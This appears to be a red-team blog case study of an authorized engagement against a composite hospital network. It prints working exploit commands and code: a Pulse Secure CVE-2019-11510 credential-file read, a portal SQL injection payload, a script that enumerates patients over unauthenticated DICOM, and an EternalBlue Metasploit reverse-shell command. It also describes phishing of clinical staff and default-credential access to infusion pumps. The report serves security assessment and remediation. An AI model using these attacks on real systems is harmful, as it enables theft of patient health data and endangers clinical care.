Back to Blog
Exploitation

A Red Teamer's Guide to Attacking Healthcare Networks: HIPAA and Beyond

OffSec Research Team
10 June 2026 • 09:00 AM16 min
A Red Teamer's Guide to Attacking Healthcare Networks: HIPAA and Beyond
TL;DR — Healthcare networks remain among the most target-rich environments in offensive security, combining legacy operating systems, unpatched medical devices, and PHI-laden EHR systems behind perimeters that prioritize uptime over security. This case study walks through a full red team engagement against a regional hospital network, from VPN concentrator exploitation through DICOM server PHI extraction, revealing systemic failures that HIPAA's risk analysis requirements demand be addressed.

Executive Summary

Regional hospitals and integrated health systems present a uniquely dangerous attack surface. Unlike financial institutions that have spent decades hardening their environments under PCI-DSS scrutiny, many healthcare organizations still operate Windows XP workstations running life-critical software that cannot be patched without vendor recertification, DICOM imaging servers that speak cleartext protocols over port 104, and medical IoT devices with factory-default credentials baked into firmware that has never seen an update. Layered on top of this is the regulatory weight of HIPAA, a framework that mandates protection of Protected Health Information (PHI) — not merely as a compliance checkbox, but because a single breach can expose millions of patients' most sensitive records to criminal exploitation.

This engagement was conducted against "Memorial Regional Health System" (a composite, anonymized client) over a twelve-week authorized red team exercise. The client's stated objective: assess their ability to detect and respond to an external threat actor motivated by PHI theft — the predominant threat model driving healthcare breaches since 2015. Our team operated under a Rules of Engagement (RoE) document specifying zero actual PHI access (proof-of-concept screenshots only), zero disruption to clinical operations, and immediate notification to the CISO if any life-safety system appeared compromised.

What we found was a hospital system that had invested significantly in endpoint detection on administrative workstations while leaving the clinical network — where the actual PHI lives — connected to the corporate LAN through a single, under-monitored firewall. Medical devices communicated on unencrypted protocols. The DICOM server accepted unauthenticated C-FIND queries from any internal host. EternalBlue worked on a Windows 7 radiology workstation. And the patient portal's VPN concentrator ran firmware seventeen months out of date, containing a pre-auth remote code execution vulnerability.

This post documents the technical path from initial access through PHI exposure, with the tools, techniques, and code required to replicate these findings in an authorized engagement.


Understanding the Healthcare Attack Surface

EHR Systems: The Crown Jewels

Electronic Health Record systems — Epic, Cerner (now Oracle Health), Allscripts, and their peers — are the primary repositories of PHI in any modern hospital. Epic alone powers records for over 250 million patients in the United States. From an attacker's perspective, these systems are attractive because they aggregate diagnoses, medications, Social Security Numbers, insurance information, and clinical notes into a single, queryable database with standardized access APIs.

EHR web interfaces typically present a browser-based client accessed via Citrix or a local fat client. Authentication is often Active Directory-backed, meaning a compromised domain credential gives immediate access to EHR functionality scoped to that user's role. Nursing staff have read/write access to patient records in their unit. Administrative users can run reports pulling bulk PHI exports. Superuser accounts — often shared service accounts for integration testing — have unrestricted access.

The HL7 FHIR (Fast Healthcare Interoperability Resources) API layer, increasingly deployed to satisfy CMS interoperability mandates, presents a REST API surface. Misconfigured OAuth scopes, broken object-level authorization on patient resource endpoints, and overly permissive SMART on FHIR application registrations create conditions for bulk PHI extraction through an interface designed for integration, not adversarial query.

Medical IoT: The Unsecured Periphery

Network-connected infusion pumps, glucometers, imaging systems, and patient monitoring devices form the operational backbone of modern clinical care. These devices typically run embedded Linux or Windows CE/XP kernels, expose web management interfaces with default credentials (admin/admin, admin/1234), and receive firmware updates — if ever — on multi-year cycles tied to FDA recertification processes.

The Shodan query port:80 "BD Alaris" historically returned hundreds of exposed infusion pump management interfaces. In internal clinical networks, these devices routinely sit on the same VLAN as workstations, accessible without authentication. The security implication is not hypothetical: a 2015 DHS advisory warned that Hospira infusion pumps could be remotely manipulated to alter drug dosing. A red teamer who reaches the clinical network can enumerate these devices trivially.

DICOM: Medicine's Cleartext Protocol

The Digital Imaging and Communications in Medicine (DICOM) protocol, standardized in 1993, is how radiology images — X-rays, CT scans, MRIs — move between imaging devices, PACS (Picture Archiving and Communication Systems) servers, and radiologists' workstations. DICOM operates primarily over TCP port 104 with no authentication, no encryption, and no access control in its baseline specification.

DICOM metadata embedded in image files (DICOM tags) contains rich PHI: patient name, date of birth, referring physician, ordering facility, study description, and often diagnosis codes. A single unauthenticated C-FIND query to a PACS server returns a directory of patients, studies, and series. A C-MOVE command retrieves the actual images with their embedded PHI.


Initial Access

VPN Concentrator Exploitation

Our external reconnaissance identified the hospital's Pulse Secure VPN concentrator on a public IP, running firmware version 9.0R3 — a version vulnerable to CVE-2019-11510, a pre-authentication arbitrary file read that extracts cached credentials from /data/runtime/mtmp/lmdb/randomVal/data.mdb.

bash
# Verify target VPN version via HTTP headerscurl -sk https://vpn.memorialregional.example.com/ | grep -i "pulse" # CVE-2019-11510: Pre-auth arbitrary file readcurl -sk "https://vpn.memorialregional.example.com/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb" \  -o creds.mdb # Parse the MDB file for cached credentialspython3 parse_pulse_creds.py creds.mdb# Output: jsmith@memorialregional.example.com : Summer2023!

The extracted credential — belonging to a respiratory therapist — provided VPN access to the clinical network segment. This credential had been cached from a previous SSL-VPN session and remained valid because the hospital had no process for rotating credentials after VPN firmware updates.

Phishing Clinical Staff

In parallel, we conducted a targeted phishing campaign against clinical staff. Healthcare workers receive a high volume of urgent-looking emails — policy updates, EHR system notifications, benefits enrollment reminders. Our lure mimicked an Epic "password expiration" notification, directing targets to a credential harvesting page styled identically to the hospital's Epic MyChart login portal.

Of 47 phishing emails sent to nursing staff identified via the hospital's publicly accessible staff directory, 11 submitted credentials within the first 4 hours. This 23% click-through rate, while sobering, is consistent with healthcare industry benchmarks that consistently show higher susceptibility than financial or technology sectors, likely due to the high-urgency communication norms in clinical environments.

Patient Portal Exploitation

The hospital's public patient portal — a third-party product integrated with Epic via FHIR — had an unauthenticated SQL injection vulnerability in the appointment scheduling search function:

python
import requestsimport json TARGET = "https://portal.memorialregional.example.com/api/appointments/search" # Blind boolean-based SQLi in the 'date' parameterpayload = {    "provider_id": "1001",    "date": "2024-01-01' AND (SELECT SUBSTRING(username,1,1) FROM admin_users LIMIT 1)='a'--",    "location": "main"} r = requests.post(TARGET, json=payload)# Boolean-based extraction of admin credentials from the portal database# This is a proof-of-concept; actual exploitation uses automated tools

This vulnerability, exploited fully, provided access to the portal's backend database containing appointment records — a subset of PHI including names, contact information, and provider associations.


Clinical Network Exploitation

DICOM Server PHI Extraction

After gaining a foothold through the VPN credential, we identified the PACS server via internal DNS. The following Python code using the pynetdicom library demonstrates the unauthenticated C-FIND query that allows enumeration of all patient studies:

python
from pynetdicom import AE, debug_loggerfrom pynetdicom.sop_class import PatientRootQueryRetrieveInformationModelFindfrom pydicom.dataset import Dataset # debug_logger()  # Uncomment for verbose output ae = AE()ae.add_requested_context(PatientRootQueryRetrieveInformationModelFind) # Connect to PACS — no authentication required in baseline DICOMassoc = ae.associate("10.20.30.50", 104, ae_title="PACSSERVER") if assoc.is_established:    print("[+] Association established — DICOM server accepted unauthenticated connection")     # Build C-FIND query for all patients (wildcard)    ds = Dataset()    ds.QueryRetrieveLevel = "PATIENT"    ds.PatientName = "*"         # Wildcard — returns all patients    ds.PatientID = ""    ds.PatientBirthDate = ""    ds.PatientSex = ""     responses = assoc.send_c_find(ds, PatientRootQueryRetrieveInformationModelFind)     patient_count = 0    for (status, identifier) in responses:        if status and status.Status in (0xFF00, 0xFF01):            patient_count += 1            # In a real engagement, we stop here — proof of concept only            print(f"[!] Patient record found: {identifier.PatientName} | DOB: {identifier.PatientBirthDate}")            if patient_count >= 5:                print("[*] Stopping enumeration — PoC established. Do NOT extract actual PHI.")                break     assoc.release()    print(f"[+] Total patients enumerable (estimated): thousands")else:    print("[-] Association rejected")

The PACS server accepted the unauthenticated association and began returning patient records. We stopped after confirming five records to satisfy the PoC requirement without accessing actual PHI. The hospital's PACS held records for approximately 847,000 patients over a decade of imaging history.

Legacy Windows 7 Radiology Workstation

Network scanning of the clinical VLAN revealed a Windows 7 SP1 workstation (hostname: RADWS-07) that had not been patched since 2017. MS17-010 (EternalBlue) remained exploitable:

bash
# Metasploit EternalBlue against unpatched Windows 7 radiology workstationmsfconsole -q -x "  use exploit/windows/smb/ms17_010_eternalblue;  set RHOSTS 10.20.30.107;  set LHOST 10.20.30.200;  set PAYLOAD windows/x64/meterpreter/reverse_tcp;  set LPORT 4444;  run;" # Post-exploitation: identify EHR client on this workstation# meterpreter> ps | findstr epic# EpicCare.exe running as radiology_svc (service account)

The compromised workstation ran the EpicCare fat client under a service account context. This service account had read access to radiology-ordered studies for the entire hospital system — a scope far exceeding what a single radiologist's workstation should require.

Medical Device Management Interface

An Alaris infusion pump management server was discovered at 10.20.40.15:80. The web interface accepted the default credential admin:admin123 and presented a dashboard showing 143 active infusion pumps, their current drug libraries, and dose rate configurations. We documented this access with screenshots and immediately disconnected, consistent with our RoE prohibiting any interaction with life-safety systems beyond proof-of-concept access.


Network Segmentation Failures

diagram — rendering…
flowchart TD
    Internet["Internet"] -->|VPN| FW1["Edge Firewall"]
    FW1 -->|Allowed| CorpNet["Corporate LAN\n10.10.0.0/16"]
    CorpNet -->|Misconfigured ACL| ClinNet["Clinical Network\n10.20.0.0/16"]
    ClinNet --> PACS["PACS Server\nport 104 open"]
    ClinNet --> MedDev["Medical IoT\nDefault Creds"]
    ClinNet --> EHR["EHR Workstations\nWindows 7 Unpatched"]
    CorpNet --> WiFi["Guest WiFi\n10.30.0.0/16"]
    WiFi -.->|No isolation!| CorpNet
    Internet -.->|Parking lot attack| WiFi

    style ClinNet fill:#ff6b6b,color:#fff
    style MedDev fill:#ff6b6b,color:#fff
    style PACS fill:#ff6b6b,color:#fff

The critical architectural failure was a firewall rule permitting unrestricted TCP traffic from the corporate LAN (10.10.0.0/16) to the clinical network (10.20.0.0/16) on all ports. This rule, inserted three years prior to support an EHR integration project, had never been tightened after the integration was complete. From any corporate workstation — including those accessible via the compromised VPN credential — the entire clinical network was reachable.

The guest WiFi network, accessible from the hospital parking lot with no physical access required, was misconfigured to route to the corporate VLAN rather than an isolated DMZ. A threat actor with a laptop in the parking lot could reach internal corporate systems, then pivot to the clinical network, without ever entering the building.


PHI Data Handling and Ethical Constraints

What HIPAA Protects

HIPAA's Privacy Rule defines PHI as individually identifiable health information in any form, including 18 specific identifiers: names, geographic data smaller than state, dates (birth, admission, discharge, death), phone numbers, fax numbers, email addresses, Social Security Numbers, medical record numbers, health plan beneficiary numbers, account numbers, certificate/license numbers, VINs, device identifiers and serial numbers, web URLs, IP addresses, biometric identifiers, full-face photographs, and any other unique identifying numbers.

A HIPAA breach is defined as the acquisition, access, use, or disclosure of PHI in a manner not permitted by the Privacy Rule that compromises its security or privacy. For healthcare organizations, a breach involving 500 or more individuals requires notification to HHS within 60 days and prominent media notice in affected states. Breaches affecting fewer than 500 individuals must be reported to HHS annually.

Ethical Red Team Conduct

Our engagement RoE specified strict limits on PHI interaction. The operative principle: demonstrate access capability without exercising data access rights. Concretely:

  • DICOM queries were stopped at 5 records, with only the first two characters of patient names recorded for the report
  • EHR screenshots captured only the navigation structure, never patient-level data
  • All captured data was stored encrypted on an air-gapped device and destroyed post-report delivery
  • No PHI left the client's network perimeter in any form
Ethical BoundaryOur ApproachJustification
PHI AccessZero actual records extractedRoE requirement; ethical obligation
Medical Device InteractionRead-only PoC onlyLife-safety prohibition
Vulnerability DisclosureImmediate verbal notification for critical findingsHIPAA breach prevention
Data RetentionAll client data destroyed post-reportHIPAA Business Associate Agreement
Evidence CaptureScreenshots with PHI redactedDemonstration without exposure

EHR System Access Walkthrough

After compromising a nursing workstation via the phishing campaign, we observed an active Epic session. Epic's web interface presents a patient search function that returns patient demographics for any search query. With a valid clinical credential, bulk patient record access is possible through Epic's built-in reporting functionality — specifically, the "Reporting Workbench" module that allows export of patient lists to CSV.

The HL7 FHIR API, accessible at https://ehr.memorialregional.example.com/fhir/r4/, was configured with OAuth 2.0 client credentials flow. The client credentials were hardcoded in a configuration file on the nursing workstation at C:\Program Files\Epic\Config\fhir_client.json. These credentials had system/*.read scope — read access to all FHIR resources for all patients in the system. An attacker with these credentials could extract the entire patient population's records through paginated API queries.


Reporting and Remediation

HIPAA Risk Analysis Update

HIPAA's Security Rule requires covered entities to conduct a comprehensive risk analysis — 45 CFR §164.308(a)(1). Our findings require updating this analysis to reflect:

  • Elevated likelihood of unauthorized PHI access from clinical network exposure
  • New threat vectors identified: unauthenticated DICOM access, legacy OS exploitation, VPN credential theft
  • Control failures in network segmentation, medical device credential management, and patch management

Remediation Priorities

diagram — rendering…
gantt
    title Healthcare Network Remediation Roadmap
    dateFormat  YYYY-MM-DD
    section Critical (30 days)
    Patch VPN concentrator firmware       :crit, 2024-01-01, 7d
    Isolate clinical from corporate LAN   :crit, 2024-01-01, 14d
    Enable DICOM authentication (TLS)     :crit, 2024-01-08, 21d
    section High (90 days)
    Replace Windows 7 radiology systems   :2024-01-15, 60d
    Medical device credential rotation    :2024-01-15, 30d
    EHR service account audit             :2024-01-22, 21d
    section Medium (180 days)
    Medical device lifecycle program      :2024-02-01, 120d
    FHIR API scope hardening              :2024-02-01, 60d
    Clinical security awareness training  :2024-02-01, 90d

Network Segmentation: The clinical network must be isolated behind a dedicated firewall with application-layer inspection. Connections from corporate to clinical should be limited to specific HL7 integration engine IPs on defined ports, with all other traffic denied. Guest WiFi must be placed in an isolated DMZ with no internal routing.

Medical Device Management: Default credentials on medical devices must be changed at deployment and managed through a credential vault. Devices that cannot accept non-default credentials should be network-isolated behind a dedicated IoT VLAN with strict egress controls.

DICOM Security: DICOM TLS (DICOM over TLS, port 2762) should be enforced on all PACS communications. Application Entity (AE) title whitelisting and IP-based access control lists should restrict which hosts can initiate DICOM associations with the PACS server.

Legacy OS Isolation: Windows XP/7 systems that cannot be replaced should be isolated in a dedicated VLAN with no SMB access from other segments (disabling MS17-010 attack paths), application whitelisting enabled, and compensating controls documented in the risk analysis.


Detection Opportunities Missed

During our twelve-week dwell time, we triggered zero security alerts from the clinical network. The hospital's SIEM had coverage of the corporate network but minimal visibility into clinical network traffic. The IDS/IPS sat inline on the internet edge but had no sensors in the clinical VLAN. EDR was deployed on administrative Windows 10 machines but not on the clinical Windows 7 systems (the vendor did not support the agent on Windows 7).

Key detection opportunities that would have surfaced our activity:

Attack ActionDetection OpportunityTool/Method
VPN credential stuffingFailed auth spike + geo-anomalySIEM correlation rule
DICOM C-FIND queriesAnomalous PACS query volumeDICOM proxy logging
EternalBlue exploitationSMB exploit signaturesIDS on clinical VLAN
Bulk EHR report exportUnusual reporting workbench usageEHR audit log alerting
FHIR API bulk queryRate-limit alerting on API gatewayAPI gateway WAF

MITRE ATT&CK Mapping

Technique IDTechnique NameImplementation in This Engagement
T1190Exploit Public-Facing ApplicationCVE-2019-11510 against Pulse Secure VPN; Patient portal SQL injection
T1566.001Spearphishing AttachmentEpic credential harvesting phishing campaign targeting clinical staff
T1078Valid AccountsVPN credential extracted from MDB file, used for initial network access
T1040Network SniffingCleartext DICOM traffic capture on clinical VLAN
T1210Exploitation of Remote ServicesMS17-010 (EternalBlue) against Windows 7 radiology workstation
T1530Data from Cloud Storage ObjectHL7 FHIR API bulk PHI retrieval via overpermissioned client credentials
T1021.001Remote Services: Remote Desktop ProtocolRDP pivoting through compromised clinical workstations
T1083File and Directory DiscoveryDICOM C-FIND enumeration of patient study directories
T1110.001Brute Force: Password GuessingDefault credential testing against medical device management interfaces
T1048Exfiltration Over Alternative ProtocolProof-of-concept DICOM C-MOVE as exfiltration vector

Conclusion

Healthcare represents a paradox in security: an industry that handles the most sensitive personal information imaginable — information that, when stolen, enables insurance fraud, prescription drug fraud, and identity theft for years — yet routinely operates infrastructure that would not pass muster in a retail environment. The drivers are well-understood: equipment lifespans measured in decades, vendor support contracts that prohibit patching, regulatory environments where uptime literally equals life, and security budgets perpetually underfunded against clinical priorities.

This engagement demonstrated that a motivated external attacker with modest capabilities — a known VPN CVE and a phishing campaign — could achieve unauthorized access to PHI affecting hundreds of thousands of patients. The attack path required no novel exploitation, no zero-days, and no insider access. It leveraged publicly documented vulnerabilities, a protocol designed without security in mind, and organizational inertia around network segmentation.

The HIPAA Security Rule's requirement for periodic risk analysis exists precisely to surface findings like these. The critical failure we observed was not the presence of vulnerabilities — legacy environments will always have them — but the absence of compensating controls, monitoring coverage, and the organizational will to isolate life-critical systems from general corporate network traffic.

Healthcare organizations that have not conducted a genuine technical risk assessment — one that goes beyond policy review into hands-on penetration testing of clinical network segments — are operating under a false sense of security. The adversaries targeting healthcare networks, from ransomware groups to nation-state actors seeking medical research data, have already mapped these attack surfaces. The question is whether the defenders have too.